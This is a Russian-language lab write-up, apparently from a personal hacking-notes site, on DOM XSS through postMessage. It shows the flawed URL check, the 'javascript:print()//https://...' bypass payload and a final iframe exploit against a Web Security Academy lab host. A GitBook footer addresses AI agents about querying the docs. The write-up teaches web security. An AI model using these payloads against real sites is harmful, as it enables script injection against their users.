> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# DOM XSS через веб-сообщения и JavaScript URL

### DOM XSS с использованием веб-сообщений и JavaScript URL

Лабораторная работа, демонстрирующая уязвимость DOM, приводящую к перенаправлению/выполнению через `postMessage`. Цель: создать HTML-страницу на сервере эксплойта, которая отправляет сообщение для запуска `print()` на целевой странице.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

Целевая страница прослушивает отправленные сообщения и трактует полученные данные как URL. Если полученная строка содержит `HTTP:`  или `https:`, страница перенаправляет (`location.href`) на это значение. Код на стороне цели выглядит так:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

успешно вызывает перенаправление на `https://jord4n.pro`.

<figure><img src="/files/aaf220b5843e7b4435329254dbe7412041eacb80" alt=""><figcaption></figcaption></figure>

### Обход валидации

Проверка блокирует только строки, не содержащие `HTTP:`  или `https:` (проверка через `indexOf`). `indexOf > -1` логика, таким образом, обходится добавлением `//https://...` части после `JavaScript:` схемы, так чтобы условие выполнялось при сохранении URL, начинающегося с `JavaScript:`. Например:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Чтобы открыть alert:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/82f96c510834beec0defedc1247a5b876a4d1d8d" alt=""><figcaption></figcaption></figure>

* Чтобы вызвать `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

У `//https://google.com` эта часть используется только для удовлетворения `indexOf('https:') > -1` условия.

<figure><img src="/files/aa55d655d379b17b44a3d05b08195c95da61f041" alt=""><figcaption></figcaption></figure>

#### Финальный эксплойт

Атакующая страница может включать iframe к уязвимой странице и при загрузке отправлять вредоносное сообщение встроенному содержимому. Пример реализации, который нужно разместить на сервере эксплойта:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/11b99749b318bef58c0dba0bb2dfc0d4c1b75f5c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
